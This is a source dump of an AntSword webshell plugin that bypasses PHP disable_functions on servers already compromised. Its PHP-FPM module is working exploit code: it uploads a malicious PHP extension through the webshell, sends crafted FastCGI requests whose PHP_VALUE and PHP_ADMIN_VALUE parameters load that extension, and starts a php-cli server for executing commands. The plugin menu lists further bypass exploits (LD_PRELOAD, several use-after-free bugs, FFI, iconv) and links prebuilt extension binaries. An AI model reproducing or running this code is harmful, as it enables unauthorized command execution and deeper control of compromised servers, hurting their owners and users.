161 | module.exports = PHP_Concat_UAF;
--------------------------------------------------------------------------------
/core/php_fpm/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Base = require('../base');
4 | const LANG = require('../../language'); // 插件语言库
5 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
6 | const {
7 | FastCgiClient
8 | } = require('../../payload');
9 | let PHP_FPM_LANG = LANG['core']['php_fpm'];
10 |
11 | class PHP_FPM extends Base {
12 | /**
13 | *
14 | * @param {dhtmlxObject} cell 组件
15 | * @param {Object} top 上层对象
16 | */
17 | constructor(cell, top) {
18 | super(cell, top);
19 | if (this.precheck() == false) {
20 | return;
21 | }
22 | this.form = this.createForm(this.cell);
23 | }
24 |
25 | // 提前检测
26 | precheck() {
27 | let self = this;
28 | let infodata = self.top.infodata;
29 | // if (infodata.os.toLowerCase() !== "linux" ) {
30 | // toastr.error(LANG['precheck']['only_linux'], LANG_T['error']);
31 | // return false;
32 | // }
33 | return true;
34 | }
35 |
36 | createForm(cell) {
37 | let self = this;
38 | let form = cell.attachForm([{
39 | type: 'settings',
40 | position: 'label-left',
41 | labelWidth: 100,
42 | inputWidth: 300,
43 | }, {
44 | type: 'block',
45 | inputWidth: 'auto',
46 | list: [{
47 | type: 'label',
48 | label: PHP_FPM_LANG['title']
49 | },
50 | {
51 | type: 'combo',
52 | label: PHP_FPM_LANG['form']['fpm_addr'],
53 | labelWidth: 300,
54 | name: 'fpm_addr',
55 | required: true,
56 | options: (() => {
57 | let vals = [
58 | 'unix:///var/run/php5-fpm.sock',
59 | 'unix:///var/run/php/php5-fpm.sock',
60 | 'unix:///var/run/php-fpm/php5-fpm.sock',
61 | 'unix:///var/run/php/php7-fpm.sock',
62 | '/var/run/php/php7.2-fpm.sock',
63 | '/usr/local/var/run/php7.3-fpm.sock',
64 | 'localhost:9000',
65 | '127.0.0.1:9000',
66 | ];
67 | let ret = [];
68 | vals.map((_) => {
69 | ret.push({
70 | text: _,
71 | value: _
72 | });
73 | });
74 | return ret;
75 | })()
76 | },
77 | {
78 | type: 'combo',
79 | label: PHP_FPM_LANG['form']['phpbinary'],
80 | labelWidth: 300,
81 | name: 'phpbinary',
82 | required: true,
83 | options: (() => {
84 | let vals = [
85 | 'php',
86 | 'php.exe',
87 | '/usr/bin/php',
88 | 'C:/php/php.exe'
89 | ];
90 | let ret = [];
91 | vals.map((_) => {
92 | ret.push({
93 | text: _,
94 | value: _
95 | });
96 | });
97 | return ret;
98 | })()
99 | }, {
100 | type: 'combo',
101 | label: PHP_FPM_LANG['form']['webroot'],
102 | labelWidth: 300,
103 | name: 'webrootdir',
104 | required: true,
105 | options: (() => {
106 | let vals = [
107 | self.top.infodata.phpself,
108 | self.top.infodata.shell_dir,
109 | self.top.infodata.temp_dir,
110 | ];
111 | let ret = [];
112 | vals.map((_) => {
113 | ret.push({
114 | text: _,
115 | value: _
116 | });
117 | });
118 | return ret;
119 | })()
120 | }
121 | ]
122 | },
123 | {
124 | type: 'block',
125 | labelWidth: 100,
126 | inputWidth: 'auto',
127 | className: "display: flex;flex-direction: row;align-items: center;",
128 | list: [{
129 | type: 'label',
130 | label: '',
131 | name: 'status_label'
132 | }, {
133 | type: 'newcolumn',
134 | offset: 20
135 | }, {
136 | type: 'label',
137 | label: '',
138 | name: 'status_msg'
139 | }, ]
140 | }, {
141 | type: 'block',
142 | inputWidth: 'auto',
143 | list: [{
144 | type: 'template',
145 | label: "Reference",
146 | style: "width:100%;",
147 | format: references
148 | }, ]
149 | }
150 | ], true);
151 |
152 | return form;
153 | }
154 |
155 | // 执行EXP, 必须有这个函数
156 | exploit() {
157 | let self = this;
158 | let fpm_host = '';
159 | let fpm_port = -1;
160 | let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
161 | if (self.form.validate()) {
162 | self.cell.progressOn();
163 | let core = self.top.core;
164 | let formvals = self.form.getValues();
165 | let phpbinary = formvals['phpbinary'];
166 | let webrootdir = formvals['webrootdir'];
167 | formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();
168 | if (formvals['fpm_addr'].startsWith('unix:')) {
169 | fpm_host = formvals['fpm_addr'];
170 | } else if (formvals['fpm_addr'].startsWith('/')) {
171 | fpm_host = `unix://${formvals['fpm_addr']}`
172 | } else {
173 | fpm_host = formvals['fpm_addr'].split(':')[0] || '';
174 | fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;
175 | }
176 | // 生成 ext
177 | let wdir = "";
178 | if (self.isOpenBasedir) {
179 | for (var v in self.top.infodata.open_basedir) {
180 | if (self.top.infodata.open_basedir[v] == 1) { // 目录可写
181 | if (v == self.top.infodata.phpself) {
182 | wdir = v;
183 | } else {
184 | wdir = v;
185 | }
186 | break;
187 | }
188 | };
189 | } else {
190 | wdir = self.top.infodata.temp_dir;
191 | }
192 | let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
193 | let fileBuffer = self.generateExt(cmd);
194 | if (!fileBuffer) {
195 | toastr.warning(PHP_FPM_LANG['msg']['genext_err'], LANG_T["warning"]);
196 | self.cell.progressOff();
197 | return
198 | }
199 |
200 | new Promise((res, rej) => {
201 | var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
202 | // 上传 ext
203 | core.request(
204 | core.filemanager.upload_file({
205 | path: ext_path,
206 | content: fileBuffer
207 | })
208 | ).then((response) => {
209 | var ret = response['text'];
210 | if (ret === '1') {
211 | toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']);
212 | res(ext_path);
213 | } else {
214 | rej("upload extension fail");
215 | }
216 | }).catch((err) => {
217 | rej(err)
218 | });
219 | }).then((p) => {
220 | // 触发 payload, 会超时
221 | var payload = `${FastCgiClient()};
222 | $content="";
223 | $client = new Client('${fpm_host}',${fpm_port});
224 | $client->request(array(
225 | 'GATEWAY_INTERFACE' => 'FastCGI/1.0',
226 | 'REQUEST_METHOD' => 'POST',
227 | 'SERVER_SOFTWARE' => 'php/fcgiclient',
228 | 'REMOTE_ADDR' => '127.0.0.1',
229 | 'REMOTE_PORT' => '9984',
230 | 'SERVER_ADDR' => '127.0.0.1',
231 | 'SERVER_PORT' => '80',
232 | 'SERVER_NAME' => 'mag-tured',
233 | 'SERVER_PROTOCOL' => 'HTTP/1.1',
234 | 'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
235 | 'PHP_VALUE' => 'extension=${p}',
236 | 'PHP_ADMIN_VALUE' => 'extension=${p}',
237 | 'CONTENT_LENGTH' => strlen($content)
238 | ),
239 | $content
240 | );
241 | sleep(1);
242 | echo(1);
243 | `;
244 | core.request({
245 | _: payload,
246 | }).then((response) => {
247 |
248 | }).catch((err) => {
249 | // 超时也是正常
250 | })
251 | }).then(() => {
252 | // 验证是否成功开启
253 | var payload = `sleep(1);
254 | $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
255 | if(!$fp){
256 | echo(0);
257 | }else{
258 | echo(1);
259 | @fclose($fp);
260 | };`
261 | core.request({
262 | _: payload,
263 | }).then((response) => {
264 | var ret = response['text'];
265 | if (ret === '1') {
266 | toastr.success(LANG['success'], LANG_T['success']);
267 | self.form.setItemLabel('status_label', `New WebServer Listen`);
268 | self.form.setItemLabel('status_msg', `127.0.0.1:${port}`);
269 | self.uploadProxyScript("127.0.0.1", port);
270 | self.cell.progressOff();
271 | } else {
272 | self.cell.progressOff();
273 | throw ("exploit fail");
274 | }
275 | }).catch((err) => {
276 | self.cell.progressOff();
277 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
278 | })
279 | }).catch((err) => {
280 | self.cell.progressOff();
281 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
282 | });
283 | } else {
284 | self.cell.progressOff();
285 | toastr.warning(LANG['form_not_comp'], LANG_T["warning"]);
286 | }
287 | return;
288 | }
289 | }
290 |
291 | function references(name, value) {
292 | let refs = {
293 | "AntSword-Labs/bypass_disable_functions/5": "https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5/",
294 | "Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 (Author: phithon)": "https://www.leavesongs.com/penetration/fastcgi-and-php-fpm.html",
295 | "Fastcgi配置不当对外开放利用 (Author: Vinc)": "http://vinc.top/2016/11/23/%E3%80%90%E8%BF%90%E7%BB%B4%E5%AE%89%E5%85%A8%E3%80%91fastcgi%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%B9%E5%A4%96%E5%BC%80%E6%94%BE%E5%88%A9%E7%94%A8/",
296 | "PHP-FastCGI-Client (Author: adoy)": "https://github.com/adoy/PHP-FastCGI-Client",
297 | "wofeiwo/fcgi_jailbreak.php": "https://gist.github.com/wofeiwo/4f41381a388accbf91f8",
298 | };
299 | let ret = "";
300 | Object.keys(refs).map((k) => {
301 | ret += `${k}`;
302 | })
303 | return ``;
304 | }
305 |
306 | module.exports = PHP_FPM;
--------------------------------------------------------------------------------
/ext/ant_x32.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x32.dll
--------------------------------------------------------------------------------
/ext/ant_x32.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x32.so
--------------------------------------------------------------------------------
/ext/ant_x64.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x64.dll
--------------------------------------------------------------------------------
/ext/ant_x64.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x64.so
--------------------------------------------------------------------------------
/ext/ant_x86.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x86.dll
--------------------------------------------------------------------------------
/ext/ant_x86.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AntSword-Store/as_bypass_php_disable_functions/66d5f0891e0509bcc649bff4c599d2b8467d3eac/ext/ant_x86.so
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const WIN = require('ui/window'); // 窗口库
4 | const LANG_T = antSword['language']['toastr']; // 通用通知提示
5 | const path = require('path');
6 |
7 | const {
8 | BaseInfo
9 | } = require('./payload');
10 | const LANG = require('./language/'); // 插件语言库
11 |
12 | /**
13 | * 插件类
14 | */
15 | class Plugin {
16 | constructor(opt) {
17 | let self = this;
18 | self.opt = opt;
19 | self.core = new antSword['core'][opt['type']](opt);
20 | self.core_menu = [
21 | // 新增模式时需要在这里添加
22 | // id 为文件名
23 | {
24 | id: "ld_preload",
25 | icon: 'file-code-o',
26 | type: 'button',
27 | text: "LD_PRELOAD"
28 | },
29 | {
30 | id: "php_fpm",
31 | icon: 'file-code-o',
32 | type: 'button',
33 | text: "Fastcgi/PHP_FPM"
34 | },
35 | {
36 | id: "apache_mod_cgi",
37 | icon: 'file-code-o',
38 | type: 'button',
39 | text: "Apache_mod_cgi"
40 | },
41 | {
42 | id: "json_serializer_uaf",
43 | icon: 'file-code-o',
44 | type: 'button',
45 | text: "JSON_Serializer_UAF"
46 | },
47 | {
48 | id: "php7_gc_uaf",
49 | icon: 'file-code-o',
50 | type: 'button',
51 | text: "PHP7_GC_UAF"
52 | },
53 | {
54 | id: "php7_backtrace_uaf",
55 | icon: 'file-code-o',
56 | type: 'button',
57 | text: "PHP7_Backtrace_UAF"
58 | },
59 | {
60 | id: "php74_ffi",
61 | icon: 'file-code-o',
62 | type: 'button',
63 | text: "PHP74_FFI"
64 | },
65 | {
66 | id: "iconv",
67 | icon: 'file-code-o',
68 | type: 'button',
69 | text: "iconv"
70 | },
71 | {
72 | id: "php7_reflectionproperty_uaf",
73 | icon: 'file-code-o',
74 | type: 'button',
75 | text: "PHP7_ReflectionProperty_UAF"
76 | },
77 | {
78 | id: "php7_userfilter",
79 | icon: 'file-code-o',
80 | type: 'button',
81 | text: "PHP7_UserFilter"
82 | },
83 | {
84 | id: "php_concat_uaf",
85 | icon: 'file-code-o',
86 | type: 'button',
87 | text: "PHP_Concat_UAF"
88 | },
89 | ];
90 | let cores = {};
91 | self.core_menu.map((_) => {
92 | cores[_.id] = require(`./core/${_.id}/index`);
93 | });
94 | self.cores = cores;
95 | self.infodata = {
96 | os: "",
97 | arch: "",
98 | ver: "",
99 | shell_name: "", // shell 文件名
100 | phpself: "",
101 | temp_dir: "",
102 | open_basedir: [],
103 | funcs: [],
104 | };
105 | // 创建一个 window
106 | self.status_check = null;
107 | let win = new WIN({
108 | title: `${LANG['title']}-${opt['ip']}`,
109 | height: 500,
110 | width: 650,
111 | });
112 | self.win = win;
113 | self.createToolbar();
114 | self.layout = win.win.attachLayout('2U');
115 | self.config_cell = self.createConfigCell(self.layout.cells('a'));
116 | self.status_cell = self.createStatusCell(self.layout.cells('b'));
117 | self.core_instance = null;
118 | self.reloadStatusCell();
119 |
120 | self.toolbar.attachEvent('onClick', (id) => {
121 | switch (id) {
122 | case 'start':
123 | self.toolbar.disableItem('start');
124 | try {
125 | self.core_instance.exploit();
126 | } catch (e) {
127 | toastr.error(JSON.stringify(e), LANG_T['error']);
128 | }
129 | break;
130 | default:
131 | if (self.cores.hasOwnProperty(id)) {
132 | self.core_instance = new self.cores[id](self.config_cell.cell, self);
133 | self.toolbar.enableItem('start');
134 | }
135 | break;
136 | }
137 | });
138 | // ######### 上方是具体插件代码,由插件作者编写 ##########
139 | }
140 |
141 | reloadStatusCell() {
142 | let self = this;
143 | self.core.request({
144 | _: BaseInfo()
145 | }).then((_ret) => { // 处理返回数据
146 | let res = _ret['text'];
147 | if (res.indexOf("ERROR://") > -1) {
148 | throw res;
149 | } else if (res != "") {
150 | res = antSword.unxss(res, false);
151 | self.infodata = Object.assign(self.infodata, JSON.parse(res));
152 | self.status_cell = self.createStatusCell(self.layout.cells('b'));
153 | }
154 | }).catch((err) => { // 处理异常数据
155 | toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
156 | });
157 | }
158 |
159 | createStatusCell(cell) {
160 | let self = this;
161 | cell.setWidth(220);
162 | cell.fixSize(1, 0);
163 | cell.setText(` ${LANG['status_cell']['title']}`);
164 | let form = cell.attachForm([{
165 | type: 'settings',
166 | position: 'label-left',
167 | labelWidth: 80,
168 | }, {
169 | type: 'block',
170 | inputWidth: 'auto',
171 | list: [{
172 | type: 'settings',
173 | blockOffset: 0,
174 | labelAlign: "left"
175 | },
176 | {
177 | type: "label",
178 | label: `${LANG['status_cell']['ver']}`
179 | },
180 | {
181 | type: "label",
182 | label: `${LANG['status_cell']['arch']}`
183 | },
184 | {
185 | type: "label",
186 | label: `${LANG['status_cell']['os']}`
187 | },
188 | {
189 | type: "label",
190 | label: `${LANG['status_cell']['phpself']}`
191 | },
192 | {
193 | type: "label",
194 | label: `${LANG['status_cell']['shell_dir']}`
195 | },
196 | {
197 | type: "newcolumn"
198 | },
199 | {
200 | type: "label",
201 | name: "ver",
202 | label: `${antSword.noxss(self.infodata["ver"])}`
203 | },
204 | {
205 | type: "label",
206 | name: "arch",
207 | label: `${antSword.noxss(self.infodata["arch"])}`
208 | },
209 | {
210 | type: "label",
211 | name: "os",
212 | label: `${antSword.noxss(self.infodata["os"])}`
213 | },
214 | {
215 | type: "label",
216 | name: "phpself",
217 | label: `${antSword.noxss(self.infodata["phpself"])}`
218 | },
219 | {
220 | type: "label",
221 | name: "shell_dir",
222 | label: `${antSword.noxss(self.infodata["shell_dir"])}`
223 | },
224 | ]
225 | },
226 | {
227 | type: 'fieldset',
228 | blockOffset: 0,
229 | label: "open_basedir",
230 | width: "auto",
231 | name: "open_basedir",
232 | list: (() => {
233 | let ret = [];
234 | Object.keys(self.infodata.open_basedir).map((v) => {
235 | if (self.infodata.open_basedir[v] == 1) {
236 | ret.push({
237 | type: "label",
238 | label: `${antSword.noxss(v)}`
239 | });
240 | } else {
241 | ret.push({
242 | type: "label",
243 | label: `${antSword.noxss(v)}`
244 | });
245 | }
246 | });
247 | return ret;
248 | })()
249 | },
250 | {
251 | type: 'fieldset',
252 | blockOffset: 0,
253 | label: LANG['status_cell']['func'],
254 | width: "auto",
255 | name: "funcs",
256 | list: (() => {
257 | let ret = [];
258 | Object.keys(self.infodata.funcs).map((v) => {
259 | let status = "";
260 | if (self.infodata.funcs[v] == 1) {
261 | status = "√";
262 | } else {
263 | status = "x";
264 | }
265 | ret.push({
266 | type: "label",
267 | labelWidth: 150,
268 | label: `${antSword.noxss(v)} ${status}`
269 | });
270 | });
271 | return ret;
272 | })()
273 | }
274 | ], true);
275 | return {
276 | cell: cell,
277 | form: form,
278 | }
279 | }
280 |
281 | createToolbar() {
282 | let self = this;
283 | let toolbar = self.win.win.attachToolbar();
284 | toolbar.loadStruct([{
285 | id: 'new',
286 | type: 'buttonSelect',
287 | icon: 'plus-circle',
288 | openAll: true,
289 | text: LANG['toolbar']['select_mode'],
290 | options: self.core_menu,
291 | }, {
292 | id: 'start',
293 | type: 'button',
294 | text: LANG['toolbar']['start'],
295 | icon: 'play',
296 | enabled: false,
297 | }, ]);
298 | self.toolbar = toolbar;
299 | }
300 | createConfigCell(cell) {
301 | let self = this;
302 | cell.hideHeader();
303 | cell.attachHTMLString(`
304 |
305 | ${LANG['no_mode']}
306 |
307 | `);
308 | return {
309 | cell: cell,
310 | toolbar: toolbar,
311 | }
312 | }
313 | }
314 |
315 | module.exports = Plugin;
--------------------------------------------------------------------------------
/language/en.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | title: "Bypass disable_functions",
3 | success: "Success",
4 | error: "Fail",
5 | no_mode: "Click on the button above, select the mode",
6 | form_not_comp: "Please complete the form",
7 | toolbar: {
8 | start: "Start",
9 | select_mode: "SelectMode",
10 | },
11 | status_cell: {
12 | title: "Shell Status",
13 | ver: "PHP Version",
14 | arch: "PHP Arch",
15 | os: "OS",
16 | phpself: "Current directory",
17 | func: "Function support",
18 | shell_dir: "Shell directory",
19 | },
20 | precheck: {
21 | only_linux: "Only supports Linux operating system",
22 | only_win: "Only supports Windows operating system",
23 | require_func: (func) => `${func} function is not available`,
24 | },
25 | core: {
26 | base: {
27 | proxyscript: {
28 | success: (url) => `Upload proxy script succeeded: ${url}`,
29 | fail: "Upload proxy script failed",
30 | }
31 | },
32 | ld_preload: {
33 | title: "LD_PRELOAD",
34 | form: {
35 | phpbinary: 'php-cli Path (PHP>=5.3)',
36 | webroot: 'New WebServer WebRootDir',
37 | },
38 | msg: {
39 | genext_err: "Generate PHP extension failed",
40 | }
41 | },
42 | php_fpm: {
43 | title: "Fastcgi/PHP-FPM",
44 | form: {
45 | fpm_addr: 'FPM/FCGI Address',
46 | phpbinary: 'php-cli Path (PHP>=5.3)',
47 | webroot: 'New WebServer WebRootDir',
48 | },
49 | msg: {
50 | genext_err: "Generate PHP extension failed",
51 | }
52 | },
53 | apache_mod_cgi: {
54 | title: "Apache_mod_cgi",
55 | status_cell: {
56 | modcgi: "CGI",
57 | writable: "Writeable",
58 | htaccess: "htaccess",
59 | }
60 | },
61 | json_serializer_uaf: {
62 | title: "Json Serializer UAF",
63 | status_cell: {
64 | ver: 'PHP_VERSION',
65 | },
66 | err: {
67 | phpvererr: "PHP Version not support, only support 7.1.x, 7.2.0~7.2.18, 7.3.0~7.3.5"
68 | }
69 | },
70 | php7_gc_uaf: {
71 | title: "PHP7 GC with Certain Destructors UAF",
72 | status_cell: {
73 | ver: 'PHP_VERSION',
74 | },
75 | err: {
76 | phpvererr: "PHP Version not support, only support 7.0.x, 7.1.x, 7.2.x, 7.3.x"
77 | }
78 | },
79 | php7_backtrace_uaf: {
80 | title: "PHP7 Backtrace UAF",
81 | status_cell: {
82 | ver: 'PHP_VERSION',
83 | },
84 | err: {
85 | phpvererr: "PHP Version not support, only support 7.0.x, 7.1.x, 7.2.x, 7.3.0~7.3.14, 7.4.0~7.4.2"
86 | }
87 | },
88 | php74_ffi: {
89 | title: "PHP>=7.4 FFI Extension Execute Command",
90 | status_cell: {
91 | ver: 'PHP_VERSION',
92 | ffi: 'FFI_Extension',
93 | ffi_enable: 'FFI Enable',
94 | },
95 | err: {
96 | phpvererr: "PHP Version not support, need PHP>=7.4",
97 | ffi_not_loaded: "FFI Extension not loaded",
98 | ffi_not_enable: "ffi.enabled not On, can not exploit. default is preload(only call ffi in php-cli and preload)",
99 | }
100 | },
101 | iconv: {
102 | title: "iconv modules Execute Command",
103 | form: {
104 | phpbinary: 'php-cli Path (PHP>=5.3)',
105 | webroot: 'New WebServer WebRootDir',
106 | },
107 | msg: {
108 | genext_err: "Generate PHP extension failed",
109 | }
110 | },
111 | php7_reflectionproperty_uaf: {
112 | title: "PHP<=7.4.8 ReflectionProperty UAF",
113 | status_cell: {
114 | ver: 'PHP_VERSION',
115 | },
116 | err: {
117 | phpvererr: "PHP Version not support, need <=7.4.8 ",
118 | }
119 | },
120 | php7_userfilter: {
121 | title: "PHP 7.0-8.0 disable_functions bypass [user_filter]",
122 | status_cell: {
123 | ver: 'PHP_VERSION',
124 | },
125 | err: {
126 | phpvererr: "PHP Version not support, only support 7.0.x, 7.1.x, 7.2.x, 7.3.x, 7.4.x, 8.0.x"
127 | }
128 | },
129 | php_concat_uaf: {
130 | title: "PHP 7.3-8.1 disable_functions bypass [concat_function]",
131 | status_cell: {
132 | ver: 'PHP_VERSION',
133 | },
134 | err: {
135 | phpvererr: "PHP Version not support, only support 7.3.x, 7.4.x, 8.0.x, 8.1.x"
136 | }
137 | },
138 | }
139 | }
--------------------------------------------------------------------------------
/language/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const languages = {
4 | 'en': 'English',
5 | 'zh': '简体中文'
6 | }
7 |
8 | // 获取本地设置语言(如若没有,则获取浏览器语言
9 | let lang = antSword['storage']('language',
10 | false,
11 | navigator.language.substr(0,2)
12 | );
13 |
14 | // 判断本地设置语言是否符合语言模板
15 | lang = languages[lang] ? lang : 'en';
16 |
17 | // 返回语言模板
18 | let langModule = require(`./${lang}`);
19 | langModule.__languages__ = languages;
20 |
21 | module.exports = langModule;
22 |
--------------------------------------------------------------------------------
/language/zh.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | title: "绕过 disable_functions",
3 | success: "操作成功",
4 | error: "操作失败",
5 | no_mode: "请点击上方按钮,选择模式",
6 | form_not_comp: "请填写完整",
7 | toolbar: {
8 | start: "开始",
9 | select_mode: "选择模式",
10 | },
11 | status_cell: {
12 | title: "Shell状态",
13 | ver: "PHP版本",
14 | arch: "PHP位数",
15 | os: "操作系统",
16 | phpself: "当前目录",
17 | func: "函数支持",
18 | shell_dir: "Shell目录",
19 | },
20 | precheck: {
21 | only_linux: "仅支持Linux操作系统",
22 | only_win: "仅支持Windows操作系统",
23 | require_func: (func) => `${func} 函数不可用`,
24 | },
25 | core: {
26 | base: {
27 | proxyscript: {
28 | success: (url) => `上传代理脚本成功: ${url}`,
29 | fail: "上传代理脚本失败",
30 | }
31 | },
32 | ld_preload: {
33 | title: "LD_PRELOAD",
34 | form: {
35 | phpbinary: 'php路径(PHP>=5.3, 并非当前运行的shell php)',
36 | webroot: '启动的WebServer根目录',
37 | },
38 | msg: {
39 | genext_err: "生成PHP扩展失败",
40 | }
41 | },
42 | php_fpm: {
43 | title: "Fastcgi/PHP-FPM",
44 | form: {
45 | fpm_addr: 'FPM/FCGI 地址',
46 | phpbinary: 'php路径(PHP>=5.3, 并非当前运行的shell php)',
47 | webroot: '启动的WebServer根目录',
48 | },
49 | msg: {
50 | genext_err: "生成PHP扩展失败",
51 | }
52 | },
53 | apache_mod_cgi: {
54 | title: "Apache_mod_cgi",
55 | status_cell: {
56 | modcgi: "CGI支持",
57 | writable: "当前目录可写",
58 | htaccess: "htaccess支持",
59 | }
60 | },
61 | json_serializer_uaf: {
62 | title: "Json Serializer UAF",
63 | status_cell: {
64 | ver: 'PHP版本',
65 | },
66 | err: {
67 | phpvererr: "PHP 版本不符, 仅支持 7.1.x, 7.2.0~7.2.18, 7.3.0~7.3.5"
68 | }
69 | },
70 | php7_gc_uaf: {
71 | title: "PHP7 GC with Certain Destructors UAF",
72 | status_cell: {
73 | ver: 'PHP版本',
74 | },
75 | err: {
76 | phpvererr: "PHP 版本不符, 仅支持 7.0.x, 7.1.x, 7.2.x, 7.3.x"
77 | }
78 | },
79 | php7_backtrace_uaf: {
80 | title: "PHP7 Backtrace UAF",
81 | status_cell: {
82 | ver: 'PHP版本',
83 | },
84 | err: {
85 | phpvererr: "PHP 版本不符, 仅支持 7.0.x, 7.1.x, 7.2.x, 7.3.0~7.3.14, 7.4.0~7.4.2"
86 | }
87 | },
88 | php74_ffi: {
89 | title: "PHP>=7.4 FFI扩展执行命令",
90 | status_cell: {
91 | ver: 'PHP版本',
92 | ffi: 'FFI扩展',
93 | ffi_enable: 'FFI Enable',
94 | },
95 | err: {
96 | phpvererr: "PHP 版本不符, 必须 7.4 以上",
97 | ffi_not_loaded: "未开启FFI扩展",
98 | ffi_not_enable: "ffi.enabled 未设置为 On, 不能利用.默认为 preload(仅允许在 php-cli 和 preload 中使用)",
99 | }
100 | },
101 | iconv: {
102 | title: "iconv modules 执行命令",
103 | form: {
104 | phpbinary: 'php路径(PHP>=5.3, 并非当前运行的shell php)',
105 | webroot: '启动的WebServer根目录',
106 | },
107 | msg: {
108 | genext_err: "生成PHP扩展失败",
109 | }
110 | },
111 | php7_reflectionproperty_uaf: {
112 | title: "PHP<=7.4.8 ReflectionProperty UAF",
113 | status_cell: {
114 | ver: 'PHP版本',
115 | },
116 | err: {
117 | phpvererr: "PHP 版本不符, 必须 7.4.8 以下",
118 | }
119 | },
120 | php7_userfilter: {
121 | title: "PHP 7.0-8.0 disable_functions bypass [user_filter]",
122 | status_cell: {
123 | ver: 'PHP版本',
124 | },
125 | err: {
126 | phpvererr: "PHP 版本不符, 仅支持 7.0.x, 7.1.x, 7.2.x, 7.3.x, 7.4.x, 8.0.x"
127 | }
128 | },
129 | php_concat_uaf: {
130 | title: "PHP 7.3-8.1 disable_functions bypass [concat_function]",
131 | status_cell: {
132 | ver: 'PHP版本',
133 | },
134 | err: {
135 | phpvererr: "PHP 版本不符, 仅支持 7.3.x, 7.4.x, 8.0.x, 8.1.x"
136 | }
137 | },
138 | }
139 | }
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "绕过disable_functions",
3 | "name_en": "Bypass disable_functions",
4 | "main": "index.js",
5 | "icon": "legal",
6 | "version": "0.15",
7 | "description": "突破disable_function执行命令, 使用php-cli在目标本地开启web服务, 再由原有web代理到该web服务上",
8 | "description_en": "突破disable_function执行命令",
9 | "author": {
10 | "name": "Medicean & howmp",
11 | "email": "Medici.Yan@gmail.com"
12 | },
13 | "category": "辅助工具",
14 | "category_en": "Support",
15 | "multiple": false,
16 | "scripts": [
17 | "php",
18 | "php4",
19 | "phpraw"
20 | ]
21 | }
--------------------------------------------------------------------------------
/payload.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | FastCgiClient: () => {
3 | return `class TimedOutException extends \\Exception {}
4 | class ForbiddenException extends \\Exception {}
5 | class Client {
6 | const VERSION_1 = 1;
7 | const BEGIN_REQUEST = 1;
8 | const ABORT_REQUEST = 2;
9 | const END_REQUEST = 3;
10 | const PARAMS = 4;
11 | const STDIN = 5;
12 | const STDOUT = 6;
13 | const STDERR = 7;
14 | const DATA = 8;
15 | const GET_VALUES = 9;
16 | const GET_VALUES_RESULT = 10;
17 | const UNKNOWN_TYPE = 11;
18 | const MAXTYPE = self::UNKNOWN_TYPE;
19 | const RESPONDER = 1;
20 | const AUTHORIZER = 2;
21 | const FILTER = 3;
22 | const REQUEST_COMPLETE = 0;
23 | const CANT_MPX_CONN = 1;
24 | const OVERLOADED = 2;
25 | const UNKNOWN_ROLE = 3;
26 | const MAX_CONNS = 'MAX_CONNS';
27 | const MAX_REQS = 'MAX_REQS';
28 | const MPXS_CONNS = 'MPXS_CONNS';
29 | const HEADER_LEN = 8;
30 | const REQ_STATE_WRITTEN = 1;
31 | const REQ_STATE_OK = 2;
32 | const REQ_STATE_ERR = 3;
33 | const REQ_STATE_TIMED_OUT = 4;
34 | private $_sock = null;
35 | private $_host = null;
36 | private $_port = null;
37 | private $_keepAlive = false;
38 | private $_requests = array();
39 | private $_persistentSocket = false;
40 | private $_connectTimeout = 5000;
41 | private $_readWriteTimeout = 5000;
42 | public function __construct($host, $port)
43 | {
44 | $this->_host = $host;
45 | $this->_port = $port;
46 | }
47 | public function setKeepAlive($b)
48 | {
49 | $this->_keepAlive = (boolean)$b;
50 | if (!$this->_keepAlive && $this->_sock) {
51 | fclose($this->_sock);
52 | }
53 | }
54 | public function getKeepAlive()
55 | {
56 | return $this->_keepAlive;
57 | }
58 | public function setPersistentSocket($b)
59 | {
60 | $was_persistent = ($this->_sock && $this->_persistentSocket);
61 | $this->_persistentSocket = (boolean)$b;
62 | if (!$this->_persistentSocket && $was_persistent) {
63 | fclose($this->_sock);
64 | }
65 | }
66 | public function getPersistentSocket()
67 | {
68 | return $this->_persistentSocket;
69 | }
70 | public function setConnectTimeout($timeoutMs)
71 | {
72 | $this->_connectTimeout = $timeoutMs;
73 | }
74 | public function getConnectTimeout()
75 | {
76 | return $this->_connectTimeout;
77 | }
